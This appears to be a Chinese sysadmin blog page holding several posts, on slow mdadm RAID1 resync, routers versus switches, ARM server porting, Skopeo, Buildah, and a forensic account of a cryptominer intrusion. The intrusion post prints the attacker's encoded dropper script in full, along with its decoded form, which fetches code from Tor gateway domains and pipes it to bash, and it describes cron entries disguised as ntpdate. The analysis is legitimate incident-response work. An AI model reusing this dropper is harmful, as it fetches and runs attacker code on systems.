为什么你的 mdadm 同步这么慢

发表于 2019-11-15 |

背景

自己一直通过 mdadm 在软件层面对多块磁盘进行 RAID1 配置，一个主要的原因是 mdadm 是 KickStart 默认软件。因为只是 RAID1，所以使用起来也是比较方便，虽然有些小坑，但总体来说还好。
最近遇到一个问题， mdadm 在配置 RAID1 时，磁盘同步很慢。

现象

先说下磁盘构成，一般情况下是这样：

[root@yiran 20:23:48 ~]$lsblk
NAME      MAJ:MIN RM   SIZE RO TYPE  MOUNTPOINT
sda         8:0    0  59.6G  0 disk
├─sda1      8:1    0   256M  0 part  /boot/efi
└─sda2      8:2    0   512M  0 part  /boot
sdb         8:16   0 223.6G  0 disk
└─sdb1      8:17   0    45G  0 part
  └─md127   9:127  0    45G  0 raid1 /
sdc         8:32   0 223.6G  0 disk
└─sdc1      8:33   0    45G  0 part
  └─md127   9:127  0    45G  0 raid1 /

两块 SSD 各自分区，并将第一个分区通过 mdadm 做 RAID1，保证系统分区高可用，分区大小是 45G，但是因为是 SSD 磁盘，所以速度也不会慢到哪去。

最近遇到的问题就是我觉得最不应该有问题的地方：同步速度很慢，非常慢，慢到离谱：

[root@yiran 20:28:00 ~]$mdadm -D /dev/md127
/dev/md127:
           Version : 1.2
     Creation Time : Thu Nov 14 10:06:52 2019
        Raid Level : raid1
        Array Size : 47153152 (44.97 GiB 48.28 GB)
     Used Dev Size : 47153152 (44.97 GiB 48.28 GB)
      Raid Devices : 2
     Total Devices : 2
       Persistence : Superblock is persistent

     Intent Bitmap : Internal

       Update Time : Fri Nov 15 20:28:01 2019
             State : clean, degraded, recovering
    Active Devices : 1
   Working Devices : 2
    Failed Devices : 0
     Spare Devices : 1

Consistency Policy : bitmap

    Rebuild Status : 0% complete

              Name : localhost:root
              UUID : 257cd7f6:effadd5a:3e16dac1:9a28362d
            Events : 90

    Number   Major   Minor   RaidDevice State
       0       8       17        0      active sync   /dev/sdb1
       1       8       33        1      spare rebuilding   /dev/sdc1
[root@yiran 20:28:04 ~]$cat /proc/mdstat
Personalities : [raid1]
md127 : active raid1 sdc1[1] sdb1[0]
      47153152 blocks super 1.2 [2/1] [U_]
      [>....................]  recovery =  0.0% (8832/47153152) finish=621.6min speed=1261K/sec
      bitmap: 1/1 pages [4KB], 65536KB chunk

unused devices: <none>

调查

确认硬件没问题之后，尝试通过 /proc/mdstat 可以看到同步速度只有 1M 左右，通过 iostat 命令看磁盘读写状态发现磁盘没有任何压力，使用率也是正常水平。

到这里没啥想法了，想到一点，系统是如何设置软 raid 同步速度的呢？

软 raid 在进行同步时，肯定会对磁盘进行大量的读写来保证磁盘数据正确性，如果是 RAID1 ，那就是完全的镜像了。如果 RAID 分区上正在进行非常重要的业务读写，但是 mdadm 又占用了比较大的读写带宽，肯定会影响到我们的业务，所以系统应该是存在一个上限值的。

经过搜索，查到了两个系统参数：

1 2	/proc/sys/dev/raid/speed_limit_max /proc/sys/dev/raid/speed_limit_min

看一下系统默认值，发现 speed_limit_max 是200M，也就是说我现在的速度远远达不到上限，还有其他原因。

可惜的是，我查看了系统 /var/log/messages 和 dmesg ，都没有发现什么线索。

解决

因为这个问题虽然不重要，但是比较紧急，所以就在不知道原因的情况下先修复了它，我们可以在 /etc/sysctl.conf 中添加这两项配置来更改相应的数值。

[root@yiran 20:59:34 ~]$cat /etc/sysctl.conf
# sysctl settings are defined through files in
# /usr/lib/sysctl.d/, /run/sysctl.d/, and /etc/sysctl.d/.
#
# Vendors settings live in /usr/lib/sysctl.d/.
# To override a whole file, create a new file with the same in
# /etc/sysctl.d/ and put new settings there. To override
# only specific settings, add a file with a lexically later
# name in /etc/sysctl.d/ and put new settings there.
#
# For more information, see sysctl.conf(5) and sysctl.d(5).
#
dev.raid.speed_limit_min = 100000
dev.raid.speed_limit_max = 200000
[root@yiran 20:59:42 ~]$sysctl -p
dev.raid.speed_limit_min = 100000
dev.raid.speed_limit_max = 200000

在这篇博客中还提到了其他方式能够提升软 raid 的同步速度，比如设置 read-ahead、条带大小、Bitmap 等，但是都不如 sysctl 调整系统参数来的方便，而且副作用也没有那么大。

总结

提交了一个不知道问题原因的修复 Patch，内心还是有些慌的，如果有读者看到并知道原因，麻烦留言告诉我，谢谢。

参考链接

https://www.cyberciti.biz/tips/linux-raid-increase-resync-rebuild-speed.html

路由器 vs 交换机

发表于 2019-11-09 |

背景

交换机和路由器大家应该都听说过，大部分也用过，但是它俩有啥联系，又有啥区别？

P.S. 最近看《OSTEP》看的脑子有点短路，趁着周末看点网络的东西。

路由器

路由器（英语：Router，又称路径器）是一种电讯网络设备，提供路由与转送两种重要机制，可以决定封包从来源端到目的端所经过的路由路径（host 到 host 之间的传输路径），这个过程称为路由；将路由器输入端的封包移送至适当的路由器输出端（在路由器内部进行），这称为转送。路由工作在OSI模型的第三层——即网络层，例如网际协议（IP）。

路由器主要具有两个职能：

路由器确保信息不到达不需要到达的位置
路由器确保信息到达所需要的正确目的地

在执行以上这两种职能中，路由器连接两个网络，将信息从一个网络传送至另一个网络。在某些情况下，还执行两个网络间的多种协议的翻译职能。此外它还确保网络之间通信路由的相互独立，预防其中一个网络上的多余流量溢出到另一个网络上。该过程称为路由选择。

路由选择是 OSI 模型第三层（网络层的）一个功能。路由器通过网络层协议头如 IP 头（包含源地址和目的地址）和路由表，选择转发数据包的最佳路径。为选择任意两个主机间的最佳路由，实现路由器间的通信，通常需要应用如 ICMP 这样的路由选择协议。

交换机

网络交换机（Network switch）是一种网络数据转发设备，能够对数据包进行高速的“交换”。二层交换机工作于OSI参考模型的第二层，即数据链路层。

交换机内部的CPU会在每个端口成功连接时，通过将MAC地址和端口对应，形成一张 MAC 表。在今后的通讯中，发往该MAC地址的数据包将仅送往其对应的端口，而不是所有的端口。交换机对数据包的转发是建立在MAC (Media Access Control) 地址–物理地址基础之上的，对于IP 网络协议来说，它是透明的，即交换机在转发数据包时，不知道也无须知道信源机和信宿机的IP 地址，只需知其物理地址即MAC 地址。

交换机在操作过程当中会不断的收集资料去建立它本身的一个地址表，这个表相当简单，它说明了某个MAC 地址是在哪个端口上被发现的，所以当交换机收到一个TCP/IP 封包时，它便会看一下该数据包的目的 MAC 地址，核对一下自己的地址表以确认应该从哪个端口把数据包发出去。由于这个过程比较简单，加上这功能由一崭新硬件进行——ASIC (Application Specific Integrated Circuit) ，因此速度相当快，一般只需几十微秒，交换机便可决定一个IP 封包该往那里送。

值得一提的是：万一交换机收到一个不认识的封包，就是说如果目的地MAC 地址不能在地址表中找到时，交换机会把IP 封包”扩散”出去，即把它从每一个端口中送出去，就如交换机在处理一个收到的广播封包时一样。

二层交换机的弱点正是它处理广播封包的手法不太有效，比方说，当一个交换机收到一个从TCP/IP 工作站上发出来的广播封包时，他便会把该封包传到所有其他端口去，哪怕有些端口上连的是IPX 或DECnet 工作站。这样一来，非TCP/IP 节点的带宽便会受到负面的影响，就算同样的TCP/IP 节点，如果他们的子网跟发送那个广播封包的工作站的子网相同，那么他们也会无原无故地收到一些与他们毫不相干的网络广播，整个网络的效率因此会大打折扣。

区别

	路由器	交换机
OSI	网络层	数据链路层
数据传输地址	IP 地址	MAC 地址
使用范围	局域网/广域网	局域网
存储信息	路由表	MAC 地址与端口映射表
传输方式	全双工	全双工
隔离方式	划分子网	划分 VLAN
具体用途	连接多个网络	连接一个网络内的多个设备

那么路由器和交换机可以互相替换么？

路由器通常带有 WAN 口和多个 LAN 口，其中多个 LAN 口可以看作一个小型的交换机，只是端口数量较少。二层交换机无法替换路由器，因为不具有路由转发的功能。但是现在存在三层交换机，可以实现路由器中的路由转发功能，甚至看到部分三层交换机已经支持了 NAT 功能，那么当不同 VLAN 之间的网络设备想要进行通信，就可以直接通过三层交换机找到对应路由，交换机学习到了 MAC 地址与 IP 地址的对应关系后，后续直接通过二层联通，不需要经过查找路由这一步了。

参考链接

ARM 服务器？能用？

发表于 2019-11-01 |

背景

最近各大 2B 厂家都在搞国产化，我司也不例外，花费了些时间折腾了下 ARM 服务器，记录下踩坑和使用感受。

本文所使用的开发环境为 CentOS7.6。

编译

使用的第一步是编译自己的软件，我日常使用的软件发布的最小粒度是 RPM，所以我们需要把自己在 X86 上的软件都重新编译一份 ARM64v8 的。

Python

在预期中，Python 应该是最简单的，直接编译 RPM 就好，我在之前博客《RPM 常用构建方式》中提到过，对于 Python 来说，最简单的是通过 FPM 来构建 RPM，但是这里有两个坑。

Python 软件是否依赖了 C/C++ ，如果依赖了，那么需要在 ARM 机器上使用 FPM 的时候编译构建 RPM
从网上下载的 noarch.rpm ，是否真的是 noarch 的？需要仔细检查（别问我怎么知道的

在我以为一切搞定的时候，想起来还有个服务是需要机器学习等第三方库的，是使用 conda 安装的。
好嘛，完蛋了，折腾几个小时下来结论是 conda 对于 ARM64 几乎处于不支持的状态。最后也没搞定。

Golang

最简单的莫过于 Golang 了，在 Golang 1.5 及之后版本，只需要设置 GOOS 和 GOARCH 这两个环境变量就能编译出目标平台的 Go binary 文件。

在官网中我们可以找到支持列表：

$GOOS	$GOARCH
…	…
linux	386
linux	amd64
linux	arm
linux	arm64
linux	ppc64
linux	ppc64le
linux	mips
linux	mipsle
linux	mips64
linux	mips64le
linux	s390x
…	…

比如我的目标平台是 Linux ARM64 ，那么我只需要设置 GOOS=linux GOARCH=arm64 go build 即可。

编译出 binary 文件后，构建 RPM 方式与 x86 差别不大，只需要在 rpmbuild 时增加参数 --target aarch64 就好。

C/C++

这个是最难搞的，好在有 wenquan 同学帮助，在安装了 devtoolset-7 之后也成功构建出来了，顺便让我这个没写过 C/C++ 的人去了解了下 cmake,make,ninja 都是个啥东西（虽然现在又忘了）。

如果是自己写 Makefile 编译的同学，到这里应该就没有问题了。

但是，我需要编译 envoy，这东西很恶心的点在于只能用 bazel 编译，官方提供的编译容器镜像只提供了 x86 的，所以最后只能在物理服务器上安装 bazel ，尝试编译。这时候又发现 CentOS 7 上的 libstdc++ 不包含 C++11 的 ABI，所以只能尝试使用 docker 来运行，最后通过 Docker 采用 Ubuntu 18.04 镜像编译出来了，中间经历了无数曲折。

安装

该编译的都编译完了，接下来安装应该很容易吧，并没有。

首先，因为 CentOS 默认的 libstdc++ 版本太低，导致 MongoDB 无法安装，致命伤，Ubuntu 18.04 和 CentOS8 应该都可以安装，但是因为 CentOS8 官方未发布 ARM64 容器镜像，只能使用 Ubuntu 18.04 镜像将 MongoDB 运行在容器中了。

因为我不想改动太多的业务代码，所以我使用容器时是采用的 --network=host 模式，假装它不存在。

其他的软件包大部分都可以在网上找到已有的 ARM64 版本，如果没有只能自己编译了，比如 Redis,Fluent-bit，Prometheus 等等，但是大多没什么问题，很容易解决。

使用

所有软件都安装上了，终于能开始使用了。因为我负责的服务需要获取硬件信息并展示，根据硬件信息进行相应的配置，发现了一些奇奇怪怪的问题。

CPU

不知道是测试服务器的原因还是故意未暴露出来，友商的 CPU 信息可获取的很少，比如 CPU 主频、支持指令集、CPU Cache 大小等等。

无论是 lscpu ， cpuinfo 还是 cat /proc/cpuinfo 均无法得到，只能通过修改业务代码来临时运行起来。

Dmidecode

与服务器硬件打交道比较多的同学应该都知道 dmidecode 的命令，它能获取到服务器的硬件信息，但是我手上这台能获取的信息也是有限的，下面贴一下 X86 服务器正常获取的信息：

[yiran@node 18:38:21 ~]$dmidecode 
# dmidecode 3.0
Getting SMBIOS data from sysfs.
SMBIOS 2.7 present.
125 structures occupying 5286 bytes.
Table at 0x000EC640.

Handle 0x0000, DMI type 0, 24 bytes
BIOS Information
	Vendor: American Megatrends Inc.
	Version: 3.0
	Release Date: 06/28/2013
	Address: 0xF0000
	Runtime Size: 64 kB
	ROM Size: 12288 kB
	Characteristics:
		PCI is supported
		BIOS is upgradeable
		BIOS shadowing is allowed
		Boot from CD is supported
		Selectable boot is supported
		BIOS ROM is socketed
		EDD is supported
		5.25"/1.2 MB floppy services are supported (int 13h)
		3.5"/720 kB floppy services are supported (int 13h)
		3.5"/2.88 MB floppy services are supported (int 13h)
		Print screen service is supported (int 5h)
		8042 keyboard services are supported (int 9h)
		Serial services are supported (int 14h)
		Printer services are supported (int 17h)
		ACPI is supported
		USB legacy is supported
		BIOS boot specification is supported
		Function key-initiated network boot is supported
		Targeted content distribution is supported
		UEFI is supported
	BIOS Revision: 3.0

/dev/mem

/dev/mem 是物理内存的映像，可以直接通过它来访问物理内存，在代码运行中，发现服务器一直报错：

** COLLECTED WARNINGS **
Failed to open memory buffer (/dev/mem): No such file or directory
No SMBIOS nor DMI entry point found, sorry.
Permission denied to memory file/device (/dev/mem)
Permission denied to memory file/device (/dev/mem)
** END OF WARNINGS **

发现在服务器上没有 /dev/mem 设备，不知道 ARM 服务器是怎么处理这种情况的。

P.S. 最终查明是 smartctl 这个命令一直在读取 /dev/mem。

KVM

ARM64v8 架构的 CPU 理论上是支持 KVM 虚拟化的，但是很可惜，我手上这台友商100 服务器不支持，据说 200 支持，但是没拿到，支持到什么级别不清楚了。（反正我不敢用

容器？银弹？

读到这里的可能会问，既然你 MongoDB 和 Envoy 都能运行在容器上，那你把其他服务一起运行在容器上不就薅了么？

嗯，不是没想过，对于我来说，这面临一个服务管理上的问题，成本太高不适合。

其次，容器真的就那么容易么？

大家在使用 Docker 的时候是否注意过自己使用的镜像架构是什么？反正我是没有。一般是 docker pull 拉下来直接用，而且 Docker 并没有提供某些命令或者参数让你能直接拉取其他架构下的镜像，你想知道自己的镜像是什么架构的？可以通过 docker inspect 查看：

[root@node ~]# docker pull centos
Using default tag: latest
latest: Pulling from library/centos
no matching manifest for linux/arm64/v8 in the manifest list entries # 如果没有当前架构下的，那么就会拉取报错
[root@node ~]# docker pull centos:7
7: Pulling from library/centos
4856e02b0d50: Pull complete 
Digest: sha256:307835c385f656ec2e2fec602cf093224173c51119bbebd602c53c3653a3d6eb
Status: Downloaded newer image for centos:7
docker.io/library/centos:7
[root@node ~]# docker inspect centos:7
...
        "Architecture": "arm64",
        "Os": "linux",
        "Size": 238639700,
        "VirtualSize": 238639700,
...

看着没啥问题，我也用起来了，但是某些镜像我发现很奇怪的一点，docker pull 下来的是 amd64 ，但是镜像中的文件是 aarch64 的，我很奇怪，以为自己搞错了，但是确实可以运行，这样的镜像还不少，比如 coredns：

[root@node ~]# docker images |grep coredns/coredns
coredns/coredns                                                      1.6.2               f937200cdbb2        2 months ago        42.2MB
[root@node ~]# docker inspect coredns/coredns:1.6.2 |grep -i amd
        "Architecture": "amd64",
[root@node ~]# docker run coredns/coredns:1.6.2
.:53
2019-11-01T10:40:29.192Z [INFO] CoreDNS-1.6.2
2019-11-01T10:40:29.192Z [INFO] linux/arm64, go1.12.8, 795a3eb
CoreDNS-1.6.2
linux/arm64, go1.12.8, 795a3eb

搞定了 Docker 是怎么玩的，接下来尝试 Kubernetes，发现国内的镜像源居然没有 ARM64 的版本，放弃了。

总结

国产化浪潮更大的意义是战略性的，真正要用起来，需要花费很大的精力去一点点适配兼容，如果你不想折腾，还是远离的好。

Skopeo 初次体验

发表于 2019-10-26 |

背景

新一代容器工具体验系列已经完成了 Podman 和 Buildah 的介绍，今天来体验下三剑客中的 Skopeo。

容器工具体验系列：

What

Skopeo 的功能很简单，一句话描述就是：提供远程仓库的镜像管理能力。

功能列表：

复制镜像，无需特殊权限即可从不通仓库复制镜像
无需拉取镜像即可获取远程镜像仓库中的镜像属性（包括 layer）
删除镜像仓库中的镜像
…

支持镜像仓库类型：

container-storage
本地路径
docker registry 仓库
docker 打包镜像文件
本地 docker 拉取的镜像文件
OCI 镜像
…

吐槽：Podman 和 Buildah 好歹都有自己的域名： podman.io 和 buildah.io ，Skopeo 虽然用的少但是也得搞个官网吧。。。

How

知道了 Skopeo 主要是对镜像仓库及镜像信息的获取，那么我们来看几个具体的例子，了解下 Skopeo 的使用。

镜像详情

root@yiran-workstation:~ 
 $ skopeo inspect docker://docker.io/fedora       
{
    "Name": "docker.io/library/fedora",
    "Digest": "sha256:8a91dbd4b9d283ca1edc2de5dbeef9267b68bb5dae2335ef64d2db77ddf3aa68",
    "RepoTags": [
        "20",
        "21",
        "22",
        "23",
        "24",
        "25",
        "26-modular",
        "26",
        "27",
        "28",
        "29",
        "30",
        "31",
        "32",
        "branched",
        "heisenbug",
        "latest",
        "modular",
        "rawhide"
    ],
    "Created": "2019-09-27T21:20:57.589955018Z",
    "DockerVersion": "18.06.1-ce",
    "Labels": {
        "maintainer": "Clement Verna \u003ccverna@fedoraproject.org\u003e"
    },
    "Architecture": "amd64",
    "Os": "linux",
    "Layers": [
        "sha256:9908e46907377e84bd6646bdb18abebeb4163b85135739e1cd60aae154d4557c"
    ]
}

我们可以直接从 Docker 官方仓库中查看远程镜像的信息，默认显示所有 RepoTags，也可以增加 tag 参数来显示具体的某个 Tag 镜像的信息。

来看下具体的镜像信息包含什么，包含镜像的创建时间、Docker 版本、标签信息、哈希值，包含镜像的 Layers 信息等，默认输出并没有镜像大小信息。

前段时间参加了 VMware Harbor 的一个沙龙，他们在 1.9.0 版本中增加了配额功能，据他们的研发说在关于镜像大小的计算上花费了很大的精力，因为镜像是分层的，在不通镜像之间的数据共享和计算上容易出现偏差，Skopeo 无法获取每层的大小，瞬间感觉使用价值不大了（- -

镜像拷贝

将远端镜像拷贝到本地：

root@yiran-workstation:~ 
 $ mkdir fedora                                                                                                   1 ↵
root@yiran-workstation:~ 
 $ skopeo copy docker://fedora:32 dir:/root/fedora                                           
Getting image source signatures
Copying blob a39edc9e7bc3 done
Copying config e13031c001 done
Writing manifest to image destination
Storing signatures
root@yiran-workstation:~ 
 $ ls fedora 
a39edc9e7bc3a586926c94144a8c7ebc83dbfaa17c2a60f4ad56df7066cba285  manifest.json
e13031c001a8b4a574e3088e2d1ab331d72d821804ccacdd41bf5662ae02cc98  version
root@yiran-workstation:~ 
 $ ll fedora               
total 67M
-rw-r--r-- 1 root root  67M Oct 26 20:18 a39edc9e7bc3a586926c94144a8c7ebc83dbfaa17c2a60f4ad56df7066cba285
-rw-r--r-- 1 root root 2.0K Oct 26 20:18 e13031c001a8b4a574e3088e2d1ab331d72d821804ccacdd41bf5662ae02cc98
-rw-r--r-- 1 root root  529 Oct 26 20:18 manifest.json
-rw-r--r-- 1 root root   33 Oct 26 20:18 version

将远端镜像拷贝到其他镜像仓库：

root@yiran-workstation:~ 
 $ skopeo copy --dest-creds=zdyxry:xxxxxxxx docker://fedora:32 docker://zdyxry/fedora:32    
Getting image source signatures
Copying blob a39edc9e7bc3 skipped: already exists
Copying config e13031c001 done
Writing manifest to image destination
Storing signatures
root@yiran-workstation:~ 
 $ skopeo inspect --creds zdyxry:xxxxxxxx docker://zdyxry/fedora:32
{
    "Name": "docker.io/zdyxry/fedora",
    "Digest": "sha256:3f3fc6a4714e44fae9147bc2b9542ac627491c13c4a3375e5066bdddc7710c9e",
    "RepoTags": [
        "32"
    ],
    "Created": "2019-09-27T21:21:30.467123272Z",
    "DockerVersion": "18.06.1-ce",
    "Labels": {
        "maintainer": "Clement Verna \u003ccverna@fedoraproject.org\u003e"
    },
    "Architecture": "amd64",
    "Os": "linux",
    "Layers": [
        "sha256:a39edc9e7bc3a586926c94144a8c7ebc83dbfaa17c2a60f4ad56df7066cba285"
    ]
}

镜像删除

Skopeo 提供了命令可以直接删除远端镜像仓库中的镜像（Docker 官方仓库不支持该功能），这为 CI/CD 提供了更多的可能性。

1	$ skopeo delete docker://localhost:5000/imagename:latest

Why

看过前面两篇文章的同学都知道，Podman 和 Buildah 其实是将 Docker 原有的功能进行了拆分和改进，使其使用上更友好，但是我相信大部分同学日常使用 Podman 和 Buildah 就足够了，那么为什么使用被宣称为三剑客的 Skopeo ？为了解决什么问题？

在 Quora 上搜到了这个问题，RedHat 容器运行时团队的 Leader Daniel Walsh 回答了这个问题，我整理了一下大概是以下几点原因：

最初向 Docker 提 PR 想增加 docker inspect -remote 功能，即不用拉取镜像就可以获取镜像信息，但是被拒绝了，官方建议自己实现该功能
Skopeo 在希腊语中的意思是 远程查看，最初实现的功能就是远程查看镜像信息
后续扩展功能增加了镜像的拉取，推送，复制等功能

我自己日常在使用 Docker 的时候，通常是 docker pull 得到自己想要的镜像之后，通过 Dockerfile 构建自己的镜像，然后再通过 docker push 推送到镜像仓库，不太会关心镜像仓库的维护，而 Skopeo 就是负责这个事情。

参考链接

记一次系统被入侵分析过程

发表于 2019-10-25 |

背景

今天早上接到同事报警，环境中两个节点出现了 CPU 使用率告警，通过 top 查看发现是一个叫 iSdqkI 的进程，但是这明显不是常规进程，初步怀疑是系统被入侵了，在同事的协助下最终解决了。这次主要记录遇到这种问题的排查思路，也算是对过程的复述。

分析过程

首先我们得到的信息是 CPU 使用率告警，第一时间是通过 top 来看看是哪个进程在作怪：

可以看到 FnrgiY 这个进程 CPU 使用率为 556%，且这个进程不是我们系统中存在的进程，这里判断是入侵后被植入的软件，通过 ps 命令查看进程的具体执行内容：

可以看到， FnrgiY 应该是一个可执行的程序（可能是脚本，也可能是一个 binary 文件），我非常年轻的想通过 find 查看这个文件在哪，然后 kill 掉进程删除文件就好了：

嗯，果然年轻了，系统下不存在该文件，那么我们尝试在 /proc/15582 下来看看有什么线索，先看看 cmdline ，跟进程名相同，没啥信息

同样 stack 文件也没什么有用的信息

来看看这个进程的 cwd 是啥，可以看到 cwd 是 /usr/bin 路径的软链接，但是我刚刚已经检查过了，在 /usr/bin/ 下没有这个可执行文件

通过 lsof -p 命令，来看看这个进程打开了哪些文件，可以看到它启动的进程文件是 /usr/bin/e6bb0f* ，但是被删掉了，然后它还有一个 TCP 连接（先不管），看到一个存在的文件 /tmp/.X11-unix/1

来看看这个文件是啥，cat 一下发现这个文件其实是 pid 文件，并没有其他信息

既然它用到了这个文件，那么我们来看下这个文件所在路径，引用 StackExchange 里面的回答：

The X11 server (usuall Xorg these days) communicates with clients like xterm, firefox, etc via some kind of reliable stream of bytes. A Unix domain socket is probably a bit more secure than a TCP socket open to the world, and probably a bit faster, as the kernel does it all, and does not have to rely on an ethernet or wireless card.

我们来看下这个路径下还有什么文件，发现了 3 个异常的文件： 01, 1, 2，其中 1 文件是异常进程的 pid 文件，2 文件是空的，01 文件记录也是一个 pid

通过 ps 来查看这个 pid 对应进程，也是一个异常进程，这个进程有一个子进程是执行了一个 Shell 脚本，是通过 Base64 编码过的，来解码看看

root@yiran-workstation:~ 
 $ echo ZXhlYyAmPi9kZXYvbnVsbApleHBvcnQgUEFUSD0kUEFUSDovYmluOi9zYmluOi91c3IvYmluOi91c3Ivc2JpbjovdXNyL2xvY2FsL2JpbjovdXNyL2xvY2FsL3NiaW4KdD10b3JudHBheG53Nnl4aGw0CnUoKSB7Cng9L2Nybgp3Z2V0IC10MSAtVDE4MCAtcVUtIC1PLSAtLW5vLWNoZWNrLWNlcnRpZmljYXRlICQxJHggfHwgY3VybCAtbTE4MCAtZnNTTGtBLSAkMSR4Cn0KaWYgISBscyAvcHJvYy8kKGNhdCAvdG1wLy5YMTEtdW5peC8wMSkvaW87IHRoZW4KKAp1ICR0Lm9uaW9uLmdsYXNzIHx8CnUgJHQuY2l2aWNsaW5rLm5ldHdvcmsgfHwKdSAkdC5vbmlvbi5tbiB8fAp1ICR0Lm9uaW9uLnNoIHx8CnUgJHQub25pb24uaW4ubmV0IHx8CnUgJHQudG9yMndlYi5pbyB8fAp1ICR0LjR0b3IubWwgfHwKdSAkdC5vbmlvbi50bwopfGJhc2gKZmkK|base64 -d

exec &>/dev/null
export PATH=$PATH:/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin
t=torntpaxnw6yxhl4
u() {
x=/crn
wget -t1 -T180 -qU- -O- --no-check-certificate $1$x || curl -m180 -fsSLkA- $1$x
}
if ! ls /proc/$(cat /tmp/.X11-unix/01)/io; then
(
u $t.onion.glass ||
u $t.civiclink.network ||
u $t.onion.mn ||
u $t.onion.sh ||
u $t.onion.in.net ||
u $t.tor2web.io ||
u $t.4tor.ml ||
u $t.onion.to
)|bash
fi

我们可以看看这个脚本的内容，先是重定向了标准输出，然后定义了一个函数，函数的作用是 wget/curl 下载一个文件，如果对应 pid 文件不存在，那么执行这个函数，并传递了很多的域名。

现在问题来了，进程怎么执行的？因为我有两台机器都有问题，我尝试 kill 掉异常进程，发现没有自动重启，那么很有可能是在系统上存在定时任务，通过 crontab -l 查看

看到了一个 /root/.systemd-ntpdate 同步时间的任务，我想直接忽略了，但是 jiewei 同学让我查看下这个文件，是不是真的仅仅是时间同步，于时就看了下，好嘛，差点被骗

既然 crontab -l 都已经配置了，那肯定要检查下其他路径下的配置文件，比如 /etc/cron.d /etc/cron.daily 等路径，果然又发现了一个 0systemd-ntpdate

脚本内容都是一样的，只是 sleep 的参数不同

既然找到了启动方式，那么现在可以直接 kill 掉进程，并删除 crontab 配置了，fengli 同学想要看看这个进程做了啥，于是通过 gcore 来生成了 core dump 文件

通过 strings 查看该 coredump 文件，来看看能找到什么有用的信息

与公网服务器是通过 jsonrpc 发送请求的，但是请求信息被编码过，不知道具体是什么内容

可以看到大量的 cpu 型号，应该是收集了这个节点的硬件信息

配置了 SOCK 代理，估计还有访问国外地址的请求

再就没看出什么了，清理掉相关进程信息，同时清理掉定时任务，收工。

后续

但是想着通过 google 查一下连接的那个公网 IP，看看有没有其他受害者，果然，发现了一篇博客也写了一个分析过程，整体分析流程类似。

同时发现了360 在今年写的一篇博客，里面很详细的分析了这个入侵方式，通过什么方式入侵，有什么特征之类的，推荐阅读。

总结

当你的系统已经被别人入侵过了，那么你不要相信任何你看到的东西。

参考链接

Buildah 初次体验

发表于 2019-10-19 |

背景

上周体验了 Podman 来管理容器的构建、生命周期管理等。Podman 自身是可以通过 Dockerfile 来进行容器镜像的构建，并且也支持容器镜像的 pull/push/login 等操作，Buildah 能够带来什么好处，我们为什么要使用它？

容器工具体验系列：

注意：本文章所采用环境为 CentOS7，需要除了 Buildah 工具外，还需要安装 containers-common 用于配置容器。

What

我们现在使用的容器管理工具无论是 Podman 还是 Docker，都是符合 OCI 规范的，他们操作的镜像也需要符合 OCI 规范，Buildah 介绍很简单： A tool that facilitates building OCI images。

Buildah 功能列表：

创建容器
通过 Dockerfile 或者一个处于运行状态的容器（指 Buildah 自身创建的容器，Podman 不可见
挂载/卸载镜像文件系统
使用更新后挂载的镜像文件系统作为文件系统层创建新的镜像
…

Buildah 与 Podman 的关系

在官方说法中，Buildah 与 Podman 是相辅相成的关系，有很多共同点：它们都不需要 root 权限；都可以通过 Dockerfile 来构建容器镜像；都采用 fork-exec 模型；都不需要守护进程等等。 Buildah 主要的优势在于可以在没有 Doclerfiles 的情况下创建容器镜像，这也造成了从 Docker 切换到 Buildah 的用户使用成本会稍微高一些，因为部分概念发生了改变，主要有以下这些对比：

Command	Podman Behavior	Buildah Behavior
build	Calls buildah bud	Provides the build-using-dockerfile (bud) command that emulates Docker’s build command.
commit	Commits a Podman container into a container image. Does not work on a Buildah container. Once committed the resulting image can be used by either Podman or Buildah.	Commits a Buildah container into a container image. Does not work on a Podman container. Once committed, the resulting image can be used by either Buildah or Podman.
mount	Mounts a Podman container. Does not work on a Buildah container.	Mounts a Buildah container. Does not work on a Podman container.
pull and push	Pull or push an image from a container image registry. Functionally the same as Buildah.	Pull or push an image from a container image registry. Functionally the same as Podman.
run	Run a process in a new container in the same manner as docker run.	Runs the container in the same way as the RUN command in a Dockerfile.
rm	Removes a Podman container. Does not work on a Buildah container.	Removes a Buildah container. Does not work on a Podman container.
rmi, images, tag	Equivalent on both projects.	Equivalent on both projects.
containers and ps	ps is used to list Podman containers. The containers command does not exist.	containers is used to list Buildah containers. The ps command does not exist.

How

从 Dockerfile 构建镜像

buildah 提供了 build-using-dockerfile 命令支持从 Dockerfile 构建镜像，命令等同于 docker build 与 podman build。

root@yiran-30-250:/tmp/buildah
 $ cat Dockerfile  # 编写 Dockerfile
FROM centos

MAINTAINER <zdyxry@gmail.com>

CMD echo "hello yiran"
root@yiran-30-250:/tmp/buildah
 $ buildah bud -t yiran . # 使用 `bud` 命令构建镜像，等同于 `docker build`
STEP 1: FROM centos
STEP 2: MAINTAINER <zdyxry@gmail.com>
STEP 3: CMD echo "hello yiran"
STEP 4: COMMIT yiran
Getting image source signatures
Copying blob 9e607bb861a7 skipped: already exists
Copying blob 5f70bf18a086 skipped: already exists
Copying config ebaeed04e2 done
Writing manifest to image destination
Storing signatures
ebaeed04e23610d304c74d1e3bc0c428162e6e7eac529dce1376d8b284604b85
root@yiran-30-250:/tmp/buildah
 $ buildah images
REPOSITORY                 TAG      IMAGE ID       CREATED              SIZE
localhost/yiran            latest   ebaeed04e236   3 seconds ago        227 MB
docker.io/library/centos   latest   0f3e07c0138f   2 weeks ago          227 MB
root@yiran-30-250:/tmp/buildah
 $ podman images # 构建出来的镜像保存在 `/var/lib/containers/storage` ，因此 Podman 可以直接使用
REPOSITORY                 TAG      IMAGE ID       CREATED              SIZE
localhost/yiran            latest   ebaeed04e236   7 seconds ago        227 MB
docker.io/library/centos   latest   0f3e07c0138f   2 weeks ago          227 MB
root@yiran-30-250:/tmp/buildah
 $ podman run localhost/yiran:latest
hello yiran

从容器中构建镜像

这是 Buildah 最常使用方式，buildah 配合 Host 的命令操作来达到简化镜像构建的目的。

root@yiran-30-250:/tmp/buildah
 $ buildah from centos
centos-working-container
root@yiran-30-250:/tmp/buildah
 $ buildah run centos-working-container yum install httpd -y
Complete!
root@yiran-30-250:/tmp/buildah
 $ echo "Hi yiran" > index.html
You have new mail.
root@yiran-30-250:/tmp/buildah
 $ buildah copy centos-working-container index.html /var/www/html/index
062e7183713e39f9788fe12ef40c298aa69e394df5ee9699aa6c136fb32f3144
root@yiran-30-250:/tmp/buildah
 $ buildah config --entrypoint "/usr/sbin/httpd -DFOREGROUND" centos-working-container      
root@yiran-30-250:/tmp/buildah
